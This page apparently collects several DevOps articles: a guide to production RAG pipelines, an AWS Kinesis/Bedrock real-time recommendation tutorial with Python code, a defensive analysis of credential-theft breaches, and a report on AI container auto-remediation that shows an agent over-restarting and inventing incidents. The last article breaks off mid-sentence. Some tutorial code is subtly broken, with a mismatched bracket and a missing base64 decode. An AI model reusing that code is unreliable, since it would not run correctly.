DevOps and CI/CD

The adoption of retrieval-augmented generation (RAG) from research papers to production systems has been rapid. Those who tried it in 2023 are now deploying it at scale for enterprise search, internal knowledge bases, and customer-facing assistants. However, a lot is still between a working prototype RAG and one that can withstand traffic on the road, using real data, and real modes of failure. This article explains what this gap is, how to plug it, and where most production pipelines fail. What a Production RAG Pipeline Involves A basic RAG pipeline consists of three components: a document store, a vector database to store embeddings, and a language model to produce answers based on the retrieved context. There, most of the tutorials end. Production systems have no such convenience. A production pipeline also needs: Ingestion pipelines that process document updates, deletions, and format variationsSemantic preserving chunking strategies for different document types.Incorporating models that align with the retrieval use case (asymmetric vs. symmetric search).A retrieval layer to support hybrid search, metadata filtering, and re-rankingA generation layer that has prompt management, output validation, and fallback behaviorEvaluation is hooked at each stage so that one can catch the degradation in time for the users It is easy to make each piece individually. The engineering challenge is to get them to cooperate under production conditions. Choosing the Right Vector Database Everything downstream is influenced by the choice of the vector DB. The top choices for 2026 are Pinecone, Weaviate, Qdrant, Milvus, and (for teams already using Postgres) pgvector. A few things that matter more than raw benchmark performance: Filtering support. If your documents have metadata (date, category, author, department), then you require a vector DB that filters pre-retrieval and not post-retrieval. Recall precision is destroyed by post-retrieval filtering. Both Qdrant and Weaviate do a good job of this. In recent versions, Pinecone introduced support for metadata filters, though there are edge cases for large sets of filters. Update semantics. Some vector DBs are delete-and-insert, which means there may be retrieval gaps while they are reindexing. In some cases, such as summarizing news or for internal documentation, this behavior can result in stale or missing results. Compared to most, Milvus performs rolling updates more gracefully. Hybrid search. Dense retrieval would not find exact matches for keywords. Sparse retrieval (BM25-style) ignores semantic similarity. Most production teams ultimately choose to use both, employing a fusion layer (typically the default Reciprocal Rank Fusion). Weaviate has this integrated. For others, it is wired up by yourself. Scale and cost. pgvector performs well up to ~1-2 million vectors on reasonable hardware. In addition, a specialized vector database pays for itself. Chunking Strategy: The Part Most Teams Get Wrong The way you partition documents to be embedded affects the quality of retrieval more than any other choice. The simplest method is fixed-size chunking with a token limit and yields fairly poor results for a structured document such as a PDF, a contract, or technical specifications. Better approaches: Recursive character splitting with overlap preserves context across chunk boundaries. LangChain's RecursiveCharacterTextSplitter is a typical first step, with chunk sizes of 512-1024 tokens and an overlap of 10-15%. Semantic chunking is similar to grouping sentences by embedding similarity (not token count). This is more suitable for conversational transcripts and prose-heavy documents. The downside is that it takes longer to calculate when ingesting. Document-aware chunking parses the structure before splitting. If HTML or Markdown, you split on headers. In the case of PDFs, you use layout analysis to separate tables, figures, and body text. Libraries like unstructured.io handle much of this automatically. A pattern that should be adopted early: Keep the entire document with the chunk. At the time of retrieval, you retrieve the chunk to score for relevance, and if needed, you pull some of the context from the parent document to generate. This is known as a parent-child retrieval pattern, and is a great way to get higher quality answers to longer context queries without increasing the size of your index. Re-Ranking: The Layer Most Prototypes Skip Vector similarity search returns the top-k most similar chunks. That's not necessarily the top-k most useful chunks that answer a specific query. Instead of scoring each individual piece of information, cross-encoder re-rankers process the query and the information to be retrieved as pairs and return a relevance score that considers the relationship. Models like cross-encoder/ms-marco-MiniLM-L-6-v2 are small enough to run in real-time and measurably improve precision on mixed-topic corpora. Agentic RAG setups take this one step further in 2026. The agent analyzes the results retrieved, and if they are not enough, the agent will perform the retrieval again. This iterative pattern is for multi-hop questions that can't be answered by a single retrieval round. For enterprise knowledge applications with a focus on the quality of the answer, rather than latency, teams developing with LangGraph or CrewAI are turning to this pattern. Prompt Management and Output Validation The generation layer fails in expected ways: it hallucinates when the retrieved context is irrelevant, it hedges when there is conflicting retrieved context, or it simply ignores the context and generates from training data. There is no universal solution to each failure mode. Add a faithfulness check to the hallucination. Once the generation is complete, have the LLM perform a separate call to check if the answer is based on the retrieved passages or not. This is a metric that is provided by tools such as RAGAS and can be tracked over time. Don't hardcode prompts in application code for prompt management. Having the ability to perform rapid iterations of a prompt without redeployment, and identify which iteration was active at the time of an incident (a prompt registry, even a basic one in a config file or database) is a huge plus. Evaluation: The Missing Foundation The majority of RAG pipelines are delivered without any systematic evaluation. The teams that end up in trouble 6 months later are the ones that have neglected to do this. The minimum viable evaluation setup includes: Golden Data Set: 100-200 representative question-answer pairs from real use.Metrics for retrieval (recall@k, MRR) and generation (faithfulness, answer relevance, context precision)A nightly or weekly eval run that compares current performance against a baseline Both RAGAS and TruLens connect to popular RAG frameworks and provide you with the above metrics without having to build them yourself. Where Teams Often Need Outside Help When creating RAG pipelines for the first time, teams often overlook the operational aspects, such as implementing model versioning, handling migrations of indexes when switching models, and tracking retrieval drift as document corpora expand. As companies transition to production-level generative AI development, the combination of in-house engineering and generative AI consulting can rapidly address these gaps before hiring and training all the necessary personnel. It is where generative AI integration services can contribute the most value: from architecture to production, running and monitored systems. When getting started on the selection process for a vector DB, the chunking strategy, and evaluation infrastructure, ensure that you have the correct setup for a production RAG system. Those decisions will be much easier to get right from the start rather than after your index is up and running.

Most recommendation systems are batch jobs. They crunch last night's data, write a recommendations table, and serve it all day. That works fine until your user watches three thriller movies in a row at 9 pm and your system is still recommending rom-coms because the batch hasn't run yet. In this post, I'll walk through building an agent system that reacts to streaming user behavior in real time using: Amazon Kinesis to ingest and route eventsAWS Lambda to process, enrich, and trigger reasoningAmazon Bedrock as the reasoning and recommendation layerDynamoDB to store user profiles and recommendation cacheS3 for raw event archiving and model artifacts By the end, you'll have an architecture where a user's recommendation set updates within seconds of their behavior changing. Architecture Overview The system has three layers: LayerServicesResponsibilityIngestKinesis Data Streams, Kinesis FirehoseCapture and fan-out user eventsProcess & ReasonLambda, Amazon Bedrock AgentEnrich events, build context, invoke LLMStore & ServeDynamoDB, S3Persist profiles, cache recs, store artifacts The key design decision is keeping the hot path (Kinesis → Lambda → Bedrock → DynamoDB) fully async and the serving path (API → DynamoDB cache) completely decoupled. The user never waits for Bedrock to respond; they get the last cached recommendation set while a fresh one is already being computed in the background. Event Flow Here's what happens end to end when a user clicks on a product: The app publishes a user.interaction event to Kinesis Data StreamsKinesis fans the event out to two consumers: Lambda Processor and Kinesis FirehoseFirehose archives the raw event to S3 (cheap, durable, great for retraining later)Lambda enriches the event with user history from DynamoDB User Profiles, then invokes the Bedrock AgentThe Bedrock Agent reasons over the enriched context (recent events + profile + item catalog embeddings from S3) and writes a fresh recommendation set to DynamoDB Rec CacheThe client app reads recommendations from the cache via a lightweight Lambda API — no Bedrock latency in the hot path Code: Publishing Events to Kinesis This is your app-side producer. Keep it thin — just serialize and publish. Do all enrichment downstream. Python import boto3 import json import uuid from datetime import datetime, timezone kinesis = boto3.client('kinesis', region_name='us-east-1') def publish_interaction(user_id: str, item_id: str, event_type: str, metadata: dict = {}): """ Publish a user interaction event to Kinesis Data Streams. Partition key is user_id so all events for a user land on the same shard. """ event = { 'event_id': str(uuid.uuid4()), 'user_id': user_id, 'item_id': item_id, 'event_type': event_type, # 'click', 'purchase', 'dwell', 'skip' 'timestamp': datetime.now(timezone.utc).isoformat(), 'metadata': metadata, } response = kinesis.put_record( StreamName='user-interactions', Data=json.dumps(event).encode('utf-8'), PartitionKey=user_id, # consistent routing per user ) return response['SequenceNumber'] # Example call publish_interaction( user_id='u_8821', item_id='prod_thriller_042', event_type='purchase', metadata={'price': 14.99, 'category': 'thriller', 'session_id': 'sess_xyz'} ) Tip: Use user_id as the partition key so all events for a given user land on the same shard and arrive in order. This matters when Lambda is building a recency-ordered event window. Code: Lambda Processor — Enrich and Invoke Bedrock This is the core of the pipeline. The Lambda reads from the Kinesis stream, pulls user context from DynamoDB, and invokes the Bedrock Agent with a structured prompt. Python import boto3 import json import os from datetime import datetime, timezone dynamodb = boto3.resource('dynamodb') bedrock = boto3.client('bedrock-agent-runtime', region_name='us-east-1') profiles_table = dynamodb.Table(os.environ['PROFILES_TABLE']) # DynamoDB User Profiles rec_table = dynamodb.Table(os.environ['REC_CACHE_TABLE']) # DynamoDB Rec Cache AGENT_ID = os.environ['BEDROCK_AGENT_ID'] AGENT_ALIAS = os.environ['BEDROCK_AGENT_ALIAS'] MAX_HISTORY = 20 # last N events to include in context def handler(event, context): for record in event['Records']: # Kinesis payload is base64-encoded payload = json.loads(record['kinesis']['data']) process_event(payload) def process_event(payload: dict): user_id = payload['user_id'] item_id = payload['item_id'] evt_type = payload['event_type'] # 1. Fetch user profile + recent history from DynamoDB response = profiles_table.get_item(Key={'user_id': user_id}) profile = response.get('Item', {'user_id': user_id, 'history': [], 'preferences': {}) # 2. Append current event and trim to window profile['history'].append({ 'item_id': item_id, 'event_type': evt_type, 'timestamp': payload['timestamp'], 'metadata': payload.get('metadata', {}), }) profile['history'] = profile['history'][-MAX_HISTORY:] # 3. Write enriched profile back profiles_table.put_item(Item=profile) # 4. Build prompt for Bedrock Agent prompt = build_personalization_prompt(profile) # 5. Invoke Bedrock Agent agent_response = bedrock.invoke_agent( agentId=AGENT_ID, agentAliasId=AGENT_ALIAS, sessionId=user_id, # session per user keeps conversational context inputText=prompt, ) # 6. Parse streaming response chunks recommendations = parse_agent_response(agent_response) # 7. Write to recommendation cache rec_table.put_item(Item={ 'user_id': user_id, 'recommendations': recommendations, 'generated_at': datetime.now(timezone.utc).isoformat(), 'ttl': int(datetime.now(timezone.utc).timestamp()) + 3600, # 1hr TTL }) def build_personalization_prompt(profile: dict) -> str: history_summary = '\n'.join([ f"- [{e['event_type'].upper()}] item={e['item_id']} category={e['metadata'].get('category','unknown')}" for e in profile['history'][-10:] ]) return f"""You are a real-time personalization agent. User profile: {json.dumps(profile.get('preferences', {}))} Recent interactions (most recent last): {history_summary} Based on this behavior, return exactly 5 personalized item recommendations as a JSON array. Each item must include: item_id, category, reasoning (1 sentence), confidence_score (0-1). Return only valid JSON. No explanation outside the JSON block.""" def parse_agent_response(agent_response) -> list: full_text = '' for event in agent_response['completion']: if 'chunk' in event: full_text += event['chunk']['bytes'].decode('utf-8') try: # Extract JSON from response start = full_text.index('[') end = full_text.rindex(']') + 1 return json.loads(full_text[start:end]) except (ValueError, json.JSONDecodeError): return [] Code: Serving Recommendations via Lambda API The serving layer never touches Bedrock. It reads purely from the DynamoDB cache, keeping p99 latency well under 10ms. Python import boto3 import json import os from datetime import datetime, timezone dynamodb = boto3.resource('dynamodb') rec_table = dynamodb.Table(os.environ['REC_CACHE_TABLE']) FALLBACK_RECS = ['popular_001', 'popular_002', 'popular_003'] # cold-start fallback def handler(event, context): user_id = event['pathParameters']['userId'] response = rec_table.get_item(Key={'user_id': user_id}) item = response.get('Item') if not item: # Cold start: user has no history yet return api_response(200, { 'user_id': user_id, 'recommendations': FALLBACK_RECS, 'source': 'fallback', 'generated_at': None, }) age_seconds = ( datetime.now(timezone.utc) - datetime.fromisoformat(item['generated_at']) ).total_seconds() return api_response(200, { 'user_id': user_id, 'recommendations': item['recommendations'], 'source': 'cache', 'generated_at': item['generated_at'], 'cache_age_sec': int(age_seconds), }) def api_response(status: int, body: dict) -> dict: return { 'statusCode': status, 'headers': { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*', }, 'body': json.dumps(body), } Service Comparison: Why Each AWS Service? ServiceWhy it's hereAlternative consideredKinesis Data StreamsOrdered, replayable, millisecond-latency fan-outSQS (no ordering guarantee per user), EventBridge (higher latency)Kinesis FirehoseZero-code delivery to S3 for archivingWriting to S3 directly in Lambda (adds failure surface)LambdaEvent-driven, scales to 0, tight Kinesis integrationECS Fargate (overkill for stateless enrichment)Amazon BedrockManaged LLM with agent runtime, no infra to maintainSelf-hosted model on SageMaker (more control, much more ops)DynamoDBSingle-digit ms reads, TTL support, scales automaticallyRDS (too slow for hot path), ElastiCache (extra cost for separate store)S3Cheap durable archive + model artifact storeDynamoDB for raw events (expensive and unnecessary) Things to Watch in Production Bedrock latency is variable. Claude Sonnet typically responds in 1-4 seconds but can spike. Since recs are written async to cache, this doesn't affect user-facing latency, but it does affect freshness. Monitor bedrock:InvokeAgent duration in CloudWatch. Kinesis shard scaling. One shard handles 1MB/s write or 1000 records/s. At 10k active users, you'll need to plan shard count carefully. Use Enhanced Fan-Out if you have multiple Lambda consumers reading the same stream. DynamoDB TTL for cache eviction. The serving Lambda sets a 1-hour TTL on each rec entry. If Bedrock hasn't updated the cache in over an hour (e.g., Lambda errors), users fall back to the popular items list. Adjust TTL based on how stale you can tolerate. Cold start users. New users have no history, so the Bedrock prompt has nothing useful to reason over. I recommend a popularity-based fallback as shown in the serving Lambda, and switching to personalized recs after the user's first 3-5 interactions. Wrapping Up The pattern here is worth generalizing: keep the reasoning layer (Bedrock) fully off the hot serving path. Write results to a fast cache (DynamoDB), serve from the cache, and let the agent pipeline update it continuously in the background. This gives you the intelligence of an LLM-powered agent without the latency of one. The same pattern applies to fraud scoring, content moderation queues, ops alerting — anywhere you need a reasoning system that reacts to real-time streams without blocking the user experience. References Amazon Kinesis Data Streams Developer GuideAmazon Kinesis Data Firehose Developer GuideAmazon Bedrock Agent Runtime — Invoke Agent APIAWS Lambda — Using AWS Lambda with Amazon KinesisAmazon DynamoDB — Time to Live (TTL)Amazon S3 — Best practices for event-driven architecturesBuilding Agents with Amazon BedrockEvent-Driven Architecture on AWS — Whitepaper

By Jubin Abhishek Soni CORE

On December 2, 2024, a security vendor called BeyondTrust noticed something wrong inside its own AWS account. By the time the investigation closed, the story that emerged was almost absurdly simple for something with this much fallout: an attacker — later attributed to the Chinese state-sponsored group Silk Typhoon — had used a software flaw to reach into a BeyondTrust cloud account and pull out an API key. Not a password. Not a phishing victim's login. A string of characters that a piece of software used to talk to another piece of software. With that one key, the attacker walked straight into the U.S. Department of the Treasury, reset internal passwords, accessed workstations inside the Office of Foreign Assets Control, and read unclassified documents before anyone noticed. The Treasury disclosed it to Congress on December 30. The Department of Justice indicted the alleged operators in March 2025. If you've never worked in security, here's the plain-English version of what happened: somewhere inside the machinery that runs modern software, there's almost always a "key" — a credential one computer program shows another to prove it's allowed to be there. Humans log in with passwords and, increasingly, a second factor on their phone. Software mostly doesn't. It just holds a key, often for months or years at a time, and whoever holds that key gets treated as trustworthy, no questions asked. The Treasury breach happened because one of those keys ended up in the wrong hands and nothing else stood between that key and a federal agency's internal documents. Two months later, a different flavor of the same problem produced the largest theft of digital assets in history. $1.5 Billion, One Developer's Laptop In February 2025, the cryptocurrency exchange Bybit lost approximately $1.5 billion in Ethereum in a single operation. Palo Alto Networks' Unit 42 threat research team later tied the attack to Slow Pisces, a North Korean state-linked group also known as Lazarus or TraderTraitor, and traced the entry point back to a developer at a third-party vendor that managed Bybit's multi-signature wallet infrastructure. The attackers didn't break Ethereum's cryptography. They stole that developer's AWS session tokens — another form of machine credential — and used them to gain administrative access to cloud infrastructure that could authorize transactions, then quietly altered what a routine-looking transaction actually did before it executed. Unit 42 then found the same pattern at a second cryptocurrency exchange later in 2025, this time running through Kubernetes, the orchestration system that now runs much of the cloud-native world. The attackers phished a developer, used the access on the developer's machine to drop a malicious workload directly into the exchange's production Kubernetes cluster, and had that workload expose its own service account token — a credential Kubernetes automatically hands to every running pod so it can talk to the cluster's control plane. The stolen token happened to belong to a CI/CD management identity with sweeping permissions. From there, the intruders queried secrets across namespaces, planted a backdoor, and pivoted into the exchange's cloud-hosted backend, reaching the financial systems behind it. Unit 42's broader research found suspicious activity consistent with service-account-token theft in 22 percent of cloud environments analyzed in 2025, and recorded a 282 percent year-over-year jump in Kubernetes-directed attacks overall. Different industries, different attackers, same root cause: a non-human credential that was both long-lived and broader in scope than the task in front of it ever needed. Why This Keeps Happening Identity and access management, as a discipline, was built for people. People have managers, onboarding dates, performance reviews, and an HR system that flags them the day they leave. A workload has none of that. A microservice can spin up, do its job, and disappear thousands of times a day; a service account, by contrast, often gets created once and never revisited again. CyberArk's research has been blunt about the resulting imbalance: machine identities now outnumber human ones by more than 80 to 1 in the average enterprise, and the security architecture protecting most of them still assumes the old, human-shaped world — an org chart, not a fleet of ephemeral containers. That mismatch is exactly why static secrets sprawl the way they do. A developer hardcodes a key during a deadline crunch, intending to externalize it "later." A Terraform state file ends up holding plaintext cloud credentials because nobody flagged it in review. A default Kubernetes service account token, more permissive than anyone realized, gets mounted into a pod by default because turning that off requires deliberate configuration most teams never get around to. None of these are exotic mistakes. They're the ordinary residue of moving fast, and they accumulate the way unpaid debt does — quietly, until the day someone calls it in. The structural fix has a name by now, even if adoption is uneven: frameworks like SPIFFE and its production runtime SPIRE replace the static key with a short-lived, cryptographically attested identity — something closer to a backstage pass that's reissued before every single show rather than a master key cut once and handed out forever. A workload proves what it actually is — which Kubernetes service account launched it, which container image it's running — and receives an identity document valid for minutes, not months. Steal that, and an attacker is racing a clock that resets automatically rather than one that only resets when a human notices something is wrong. Cloud providers offer narrower versions of the same idea for their own platforms — AWS's IAM Roles for Service Accounts, Google's Workload Identity Federation — letting a workload trade a short-lived token for cloud access instead of carrying a standing key in the first place. But identity alone doesn't close the loop, and this is the part most "zero trust" conversations skip past. None of it matters if nothing in your pipeline actually enforces it. Security By Design Is a Promise. CI/CD Is Where You Find Out If It's Kept. Plenty of organizations will tell you, with complete sincerity, that they practice "security by design." Most of them mean it stopped at an architecture review months before the first line of code shipped. That's not a fix, it's a memory of one. Code that deploys daily — sometimes hourly — doesn't wait for an annual audit to catch a misconfigured token or an over-privileged service account, and by the time a quarterly review would have caught the BeyondTrust-style key or the Bybit-style session token, the damage in both real cases was already done. The only version of "security by design" that survives contact with a real production pipeline is the one written as code and enforced automatically, at every stage, by something that can actually say no. Picture the pipeline this way: Plain Text Developer commits code | v CI build triggers | +--> SAST (code flaws) + SCA (dependency CVEs) + secrets scan | | | fail? -----> build blocked, developer notified | | | pass v Generate SBOM + sign artifact (Cosign) + build provenance (SLSA) | v Policy-as-code gate (OPA / Kyverno) | +--> checks: image from approved registry? running as non-root? | signature valid? provenance matches expected builder? | service account scoped to least privilege? | | fail? -----> deployment rejected, logged, alert raised | pass v Deploy to production | v Runtime monitoring + short-lived workload identity (SPIFFE/SPIRE, IRSA) | v Continuous re-verification — nothing trusted indefinitely Every box in that chain is a place where the Treasury breach or the Bybit breach could have stopped instead of escalating. A policy-as-code rule using Open Policy Agent's Rego language, or Kyverno's Kubernetes-native YAML equivalent, can flatly refuse to schedule a pod requesting broader RBAC permissions than its declared task needs — which would have directly undercut the over-privileged CI/CD identity that the crypto-exchange attackers rode into the cluster. A signing and attestation step using Cosign, tied to SLSA provenance, means a deployed artifact has to prove which build system actually produced it before it runs at all — closing exactly the kind of trust gap that let a single compromised AWS asset cascade into a stolen infrastructure API key at BeyondTrust. None of this is theoretical tooling. Red Hat's own Enterprise Contract documentation describes signing as tying an image to a specific builder identity precisely so an attacker can't substitute a malicious binary without the signature itself breaking and announcing the tampering. The Uncomfortable Bottom Line I don't think either of this year's headline breaches happened because anyone involved was careless in some obvious, fireable way. They happened because the credential — not the firewall, not the encryption, not the cleverness of the malware — was the actual asset under attack the entire time, and almost nothing downstream of "the key worked" was built to ask a second question. Gartner named non-human identity management a top strategic security trend for exactly this reason in 2025, and OWASP followed with a dedicated Non-Human Identity Top 10 the same year, an overdue acknowledgment that the tooling built for human logins was never going to be enough. My honest prediction, watching this pattern repeat across a federal agency and two of the largest crypto exchanges on earth within twelve months of each other: the organizations that treat policy-as-code enforcement and short-lived machine identity as default infrastructure — not optional hardening bolted on after an incident — are the ones that won't end up writing the next version of this story. Everyone else is currently running on borrowed time, secured by a key that, statistically, is already older than it should be.

By Igboanugo David Ugochukwu CORE

Our first version was wrong 57% of the time. Not because the AI model couldn't identify Docker container failure scenarios—it usually could. The failures occurred at the decision boundary: determining when an automated action was appropriate, when escalation was required, and when no action should be taken. Over several weeks, we built and evaluated an AI-assisted remediation system on Docker MCP Gateway across four container failure scenarios, improving decision correctness from 43% to 100%. What we learned surprised us: the hard problem is not teaching the agent to act. The hard problem is defining and enforcing the boundary where the agent must stop acting. The project reinforced a broader lesson: production-safe AI is less about model intelligence and more about engineering explicit policies, validation mechanisms, and execution controls. This article covers what we built, what failed, and the engineering changes that improved correctness. The full code, audit logs, validation datasets, and analyzer scripts are all in the companion repository. Why Naive Auto-Remediation Is Dangerous The most common mistake in AI-driven operations is treating "AI can fix things" as the goal. It isn't. A remediation system that attempts to fix every incident automatically is often worse than having no automation at all. Consider the failure modes: An automatic restart of a CrashLoopBackOff container does not fix the underlying problem—it simply generates more alerts. The container will fail again because the code or configuration issue remains unchanged. The result is additional operational noise without any meaningful remediation. Automatically increasing memory limits for every OOM event can be equally problematic. The workload continues running, but the underlying memory leak remains hidden. Months later, teams may find themselves running multi-gigabyte containers that should have been consuming a fraction of those resources. Automated remediation without an audit trail creates a different problem: a lack of accountability. Without structured records, it becomes impossible to determine what actions were taken, what actions were considered, and why a particular remediation path was selected. "The AI fixed it" is not a useful postmortem entry. The safest remediation systems are not the ones that automate the most actions. They are the ones with clearly defined operational boundaries, explicit escalation rules, and auditable decision paths. The engineering challenge is not maximizing automation — it is determining where automation should stop. According to Mohammad-Ali A'râbi, Docker Captain: One of the most dangerous assumptions teams can make is treating a language model as if it were an experienced senior site reliability engineer. It is not. A language model may generate useful recommendations, but it has no operational accountability. It does not understand business context, service ownership, deployment history, or the downstream consequences of an action. Any system granted the ability to modify production infrastructure must therefore be treated as an untrusted component operating behind strict controls. The container ecosystem learned this lesson years ago through the principle of least privilege. We stopped running containers as root whenever possible. We reduced Linux capabilities to the minimum required set. We learned that mounting Docker sockets into containers for convenience often created unacceptable security risks. The common theme was simple: convenience should not bypass security boundaries. The same principle applies to operational automation. Granting unrestricted access to restart workloads, modify resource limits, or execute privileged actions without meaningful controls introduces unnecessary risk. The challenge is not improving the quality of recommendations. The challenge is ensuring that every action is constrained, observable, and reversible. This is where Docker MCP Gateway becomes valuable. Rather than allowing direct access to infrastructure operations, the Gateway places a controlled execution layer between the decision-making component and the underlying tools. Authentication, rate limiting, audit logging, input validation, and execution isolation are applied consistently before any action is performed. In our implementation, every tool invocation passed through HMAC authentication, Redis-backed rate limiting, structured audit logging, and containerized execution. These controls were not added as enhancements; they were treated as core design requirements. Production systems already rely on admission controllers, access controls, audit trails, and policy enforcement. Operational automation should be held to the same standard. Access to credentials should remain isolated from the decision-making layer. Direct access to host resources should be minimized. Every action should be traceable and reviewable. The more authority a system is given, the more important it becomes to enforce clear operational boundaries. Reliable automation depends less on unrestricted capability and more on well-defined constraints. What Docker MCP Gateway Gives You At a high level, Docker MCP Gateway acts as a secure control plane between AI agents and MCP tools, enforcing authentication, rate limits, audit logging, and execution isolation for every tool call. The Model Context Protocol (MCP) is an open standard introduced by Anthropic in late 2024 that gives AI applications a uniform interface for invoking external tools and services. It has since gained support across multiple vendors, including Anthropic, OpenAI, Google DeepMind, and AWS. MCP solves the protocol problem. It doesn't solve the production problem. Production systems require controls around tool execution, not just a standardized way to invoke tools Authenticated tool calls (not just "the agent has the API key in plaintext somewhere")Rate limiting (agents can spiral fast)Audit logging of every decisionContainerized tool isolation (so a misbehaving tool can't take down its host)Centralized policy enforcement (so adding a new server doesn't require reconfiguring every client) Docker MCP Gateway provides these operational controls. It sits between AI clients and MCP servers, routing every tool invocation through a centralized enforcement layer that handles authentication, policy enforcement, rate limiting, and execution isolation. For our work, we built a custom MCP server inside Docker that exposes three remediation tools: check_container_logs, restart_container, and update_container_resources. Every request passes through HMAC authentication, is rate-limited using Redis, and is recorded in a structured JSON audit log before execution.mc From Mohammad-Ali A'râbi, Docker Captain: Docker's AI tooling strategy is fundamentally about building a verifiable supply chain for reasoning engines. You cannot build secure AI on top of bloated, vulnerable foundations. The strategy begins with Docker Hardened Images (DHI), providing agents and MCP servers with minimal attack-surface base images backed by cryptographically signed SLSA Level 3 provenance. The Docker Hub MCP then acts as a discovery layer, allowing agents to find and navigate trusted container artifacts through natural-language interactions. From there, these components converge into Docker AI Governance, where MicroVM-based sandboxes apply strict, deny-by-default controls over filesystem access, network connectivity, and tool execution. Together, these capabilities represent a broader architectural shift from securing application code to securing an agent's entire operational blast radius. Recent supply-chain attacks such as Shai-Hulud 2.0 have shown that modern attackers increasingly target the automation layers that underpin software delivery. AI agents now operate inside those same environments, making blast-radius reduction a first-class architectural concern. A Decision Framework: When to Auto-Fix vs. Escalate Before implementing any automation, we documented the expected behavior for each failure mode. This was not a planning exercise—it became the specification the system had to satisfy and later served as the foundation for our validation framework. Failure Type Likely Cause Safe Action OOMKilled Resource exhaustion (often legitimate) Auto-fix: increase memory CrashLoopBackOff Code or configuration bug Escalate — never auto-restart Single Exit (code 1) Could be transient (network, DB) or persistent Try restart once, escalate if it persists HealthCheckFailure App stuck or deadlocked Auto-fix: restart The guiding principle was simple: transient and resource-related failures could be remediated automatically, while persistent application and configuration failures required escalation. Transient and resource-driven failures auto-fix. Persistent and code-driven failures escalate. Every decision is logged. This framing matters more than the implementation. It's the part you should keep even if you replace every other piece of the system. The agent's job isn't to be smart — it's to apply this rule consistently and visibly. We chose to encode this in the agent's system prompt rather than in code branching, which turned out to be one of our most important design decisions. More on that below. The Architecture in Practice The system has five logical layers running across three Docker Compose containers: Five-layer architecture: container failure triggers the AI agent, which routes every tool call through the Docker MCP Gateway security pipeline before reaching MCP Tools and the Docker API. The architecture separates concerns into five layers. The AutoGen agent (GPT-3.5-turbo, cost-optimized for this decision space) handles reasoning and decision-making. The Docker MCP Gateway sits in front of the tools as a security enforcement point — every tool call passes through HMAC authentication, Redis-backed rate limiting (100 requests/hour), input validation, and structured audit logging. The MCP Tools layer exposes three remediation actions: check_container_logs, restart_container, and update_container_resources. Below that, the Docker API performs the actual container operations. In our current implementation, the Gateway and Tools layers are colocated in a single Python service for simplicity — in a multi-tenant production setup you'd separate them into distinct services that scale independently. Every tool call generates an audit log entry like this: JSON { "timestamp": "2026-05-07T02:08:15.456Z", "incident_id": "inc-20260507-020815", "agent_id": "docker-ops-agent-001", "alert": { "description": "Docker container crashed with OOMKilled", "container_id": "nginx-oom-test", "status": "OOMKilled" }, "decision_chain": [ {"tool": "check_container_logs", "result": "..."}, {"tool": "update_container_resources", "result": "Memory limit updated to 200MB"} ], "resolved": true } That structured output is what makes the system auditable. It's also what makes our validation work possible. The Engineering Reality: 43% to 100% Across 7 development-phase incidents, our agent made the correct decision 43% of the time. Across 6 validation-phase incidents after applying our fixes, it was correct 100% of the time. Both datasets are committed in the repo's monitoring/analysis directory. Phase Runs Correct Avg Turns/Incident Before fixes 7 3/7 (43%) 22.7 After fixes 6 6/6 (100%) 11.7 A note on sample size: this is a small dataset. It's enough to show the expected behavior is reproducible across the four scenarios, but not enough to make claims about reliability under load or at scale. What changed between the two phases is documented as nine challenges in the lab README. Three of them drove most of the improvement. Here they are. Challenge A: The OOM That Couldn't Be Fixed In the early runs, the agent correctly diagnosed an OOMKilled container, called the memory-update tool, and got back this Docker error: Plain Text Memory limit should be smaller than already set memoryswap limit, update the memoryswap at the same time Then it correctly escalated, because it had no tool for updating memoryswap. Our analyzer marked this as wrong because the OOMKilled scenario expected AutoResolved, not Escalated. But the agent's logic was right. The bug wasn't in the agent — it was in our test container's --memory-swap configuration. Once we fixed that (set --memory-swap=-1 for unlimited swap), the agent's behavior didn't change at all. The same logic that escalated correctly before now succeeded correctly. The agent went from 0/2 to 2/2 correct. Lesson: When the agent makes the right decision but your tests say it's wrong, check the test setup before blaming the agent. We spent a few hours debugging the agent before realizing our own container configuration was the problem. Challenge B: The Over-Eager Restart In the first three CrashLoopBackOff runs, the agent restarted the container 2 out of 3 times. CrashLoopBackOff is exactly the failure mode where you should never restart — the container is crashing because of a code or config bug, not a transient state. Restarting just generates more crashes. We almost wrote a code branch for it: add a check, route CrashLoopBackOff to a different path. Before doing that, we tried tightening the system prompt instead: Plain Text For CrashLoopBackOff failures: ALWAYS escalate to a human operator. NEVER attempt to restart the container. Restarting will only cause the container to crash again. Your role is to diagnose and report, not to fix. That single change — no code, just words in the prompt — made the agent consistently escalate on every subsequent run. Lesson: If you want the agent to follow a rule, write the rule down in the system prompt. Don't leave it to the model to figure out. We spent more time arguing about whether to add code branching than the prompt change actually took. Challenge C: The Hallucinated Containers After resolving real incidents, the agent started making up alerts for containers that didn't exist — memory-hungry-app, app-crash-loop, none of which were ever in our system. It was inventing failures and then "responding" to them. Root cause: AutoGen's max_consecutive_auto_reply was set to 10. After the agent finished a real incident, the conversation framework kept giving it turns. Without a real prompt to respond to, it generated plausible-looking next incidents and walked itself through fake remediations. Fix: drop max_consecutive_auto_reply to 3. The agent gets exactly enough turns to diagnose, act, and report — then the conversation ends. Lesson: AutoGen and similar frameworks default to long conversations because they're built for chat use cases. For production, you want them to stop talking once the job is done. From Mohammad-Ali A'râbi, Docker Captain: The progression from 43% to 100% correctness reinforced a key lesson: production AI is often less a machine-learning problem; it is a systems engineering challenge. The initial failures were not the fault of the LLM; they were the result of implicit, undocumented policies and permissive execution environments. Production AI engineering requires moving past the "magic" of conversational models and returning to a rigorous, deterministic engineering discipline. It means treating the system prompt as an immutable policy file, writing explicit, boundary-defining rules that leave zero room for the model to improvise. It means enforcing aggressive Redis-backed rate limits to prevent hallucination loops, isolating execution tools to eliminate docker.sock vulnerabilities, and relying exclusively on structured JSON audit logs rather than plain text for forensic validation. The agent is merely a component. The surrounding infrastructure — the cryptographic constraints, the isolated execution environments, and the hardcoded fallbacks — is what actually makes the system safe. Building trust in AI demands the exact same rigor we apply to cluster security: trust nothing, verify everything, and strictly log the rest. Production Patterns We'd Recommend If you're building something similar with Docker MCP Gateway, here's what we'd carry over from our nine challenges: Authenticate every tool call, even in dev. We used HMAC signing on every request from agent to MCP server. The reason to do this early isn't just production security — it surfaces auth integration bugs during development, when they're cheaper to fix. Use structured JSON for audit logs, not text. The audit format we used (incident ID, agent ID, alert, decision chain, resolved flag) made it possible to write an analyzer that validates agent behavior automatically. Plain text logs would have made that impossible. Set rate limit low. We used Redis with 100 requests per hour per agent. Agents can make a lot of tool calls quickly — a single bug in the system prompt triggered 